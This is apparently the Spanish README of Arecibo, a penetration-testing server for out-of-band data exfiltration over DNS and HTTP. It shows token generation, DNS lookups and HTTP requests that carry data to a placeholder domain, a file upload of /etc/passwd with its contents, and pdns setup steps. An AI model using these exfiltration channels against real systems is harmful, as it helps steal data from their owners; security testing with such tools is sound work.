Arecibo

Endpoint para exfiltración fuera de banda (DNS y HTTP)

Autores

Juan Manuel Fernández (@TheXC3LL) y Pablo Martinez (@Xassiz)

Exfiltración DNS

Crear un nuevo token:

curl localhost:5000/generatedns

{"htoken": "c008b5dd22817c50441522f917c66743"} 

Ahora puedes usar este token identificativo para hacer resoluciones DNS (ABCD.TOKEN.x.tudominio.com):

> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   DOMINIO
Address: 127.0.0.1

Puedes comprobar los hits y los datos exfiltrados a través de /hitsdns/TOKEN:

curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743

{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]} 

Si quieres todos los datos concatenados usa /dumpdns/token:

curl localhost/dumpdns/c008b5dd22817c50441522f917c66743

{"dump": "test-exfiltracionconcatenatedtootherinfo"}

Exfiltración HTTP

Generar token:

curl localhost:5000/generatehttp

{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}

Ahora puedes exfiltrar información a través de peticiones HTTP (http://tudominio.com/h/TOKEN). Los parámetros GET/POST, cabeceras y la IP serán registrados por Arecibo.

curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!

Para recuperar la información, usa /hitshttp/TOKEN:

 curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
 
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}

Si necesitas mostrar un HTML, cabeceras o código de estado arbitrarios, usa el método POST para establecer sus valores (el cuerpo debe estar codificado en base64):

curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
    "htoken": "324e18288eed54548392c5a65514b3dc"
}

Resolución DNS dinámica

Arecibo resuelve dominios con el esquema X.Y.Z.A.ip.tudominio.com como X.Y.Z.A:

> 10.0.0.1.ip.tudominio.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   tudominio.com
Address: 10.0.0.1

Transferencia de archivos

Sube un archivo usando el endpoint /upload:

curl localhost:5000/upload -F 'x-file=@/etc/passwd'

{"htoken": "36981274bdb9cc833472681caeb82337"}

Para descargarlo usa el token generado:

curl localhost:5000/download/36981274bdb9cc833472681caeb82337 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Información de IP

Muestra la IP del cliente a través de /ip:

curl localhost:5000/ip
{"ip": "127.0.0.1"}

Instalación y configuración

Necesitas instalar pdns y pdns-backend-pipe desde los repositorios de tu distribución, y los módulos flask y flask_restful para Python.

1. Edita la configuración de arecibo-dns-backend.py con tus valores
2. Establece permisos de ejecución chmod +x arecibo-dns-backend.py
3. Edita pdns.conf (comprueba dónde está en tu distribución)

setuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py

(Change the setuid/setgid for the values used to run the API script, they must be the same)

4. Ejecuta arecibo-api.py y pdns_server (comprueba dónde está en tu distribución)

TU SERVIDOR DEBE ESTAR CONFIGURADO COMO DNS AUTORITATIVO PARA TU DOMINIO

IMPORTANTE: Debes configurar un nginx u otro proxy inverso delante de Arecibo para proporcionar autenticación y seguridad.